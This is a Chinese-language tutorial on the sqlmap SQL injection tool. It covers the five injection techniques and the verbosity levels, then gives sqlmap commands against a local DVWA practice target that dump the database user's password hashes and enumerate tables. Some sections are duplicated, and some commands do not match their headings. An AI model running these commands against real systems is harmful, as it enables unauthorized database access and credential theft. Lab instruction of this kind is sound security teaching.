Sqlmap 是一种开源的渗透测试工具,可以自动检测和利用 Sql 注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令,使用 Sqlmap 工具将极大的简化我们的测试工作量。
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞,目前支持 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等主流数据库。 Sqlmap 使用 5 种 SQL 注入技术(不加参数默认测试所有注入技术):
-
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
-
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
-
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
-
联合查询注入,可以使用union的情况下的注入。
-
堆查询注入,可以同时执行多条语句的执行时的注入。
当你使用 Sqlmap 对一个注入点是进行了测试时,可以使用 -v x
参数指定回显信息的复杂度,x
属于[0~6]:
共有 7 个等级,默认为 1:
等级 | 解释 |
---|---|
- 0 | 只显示python错误以及严重的信息。 |
- 1 | 同时显示基本信息和警告信息。(默认) |
- 2 | 同时显示debug信息。 |
- 3 | 同时显示注入的payload。 |
- 4 | 同时显示HTTP请求。 |
- 5 | 同时显示HTTP响应头。 |
- 6 | 同时显示HTTP响应页面 |
sqlmap 本地实验可以 本地部署渗透测试靶场:dvwa
当你使用 Sqlmap 对一个注入点是进行了测试时,可以使用 -v x
参数指定回显信息的复杂度,x
属于[0~6]:
共有 7 个等级,默认为 1:
等级 | 解释 |
---|---|
- 0 | 只显示python错误以及严重的信息。 |
- 1 | 同时显示基本信息和警告信息。(默认) |
- 2 | 同时显示debug信息。 |
- 3 | 同时显示注入的payload。 |
- 4 | 同时显示HTTP请求。 |
- 5 | 同时显示HTTP响应头。 |
- 6 | 同时显示HTTP响应页面
|
获取服务器情况:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" #注意参数必须使用双引号括起来
获取当前数据库和用户密码:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -b --current-user --current-db
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --users --password
用默认字典表把数据库密码跑出来,如果跑不出来,就是哈希值了。
获取所有数据库名,表名,字段名;
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --users --password
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --users --password
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" --columns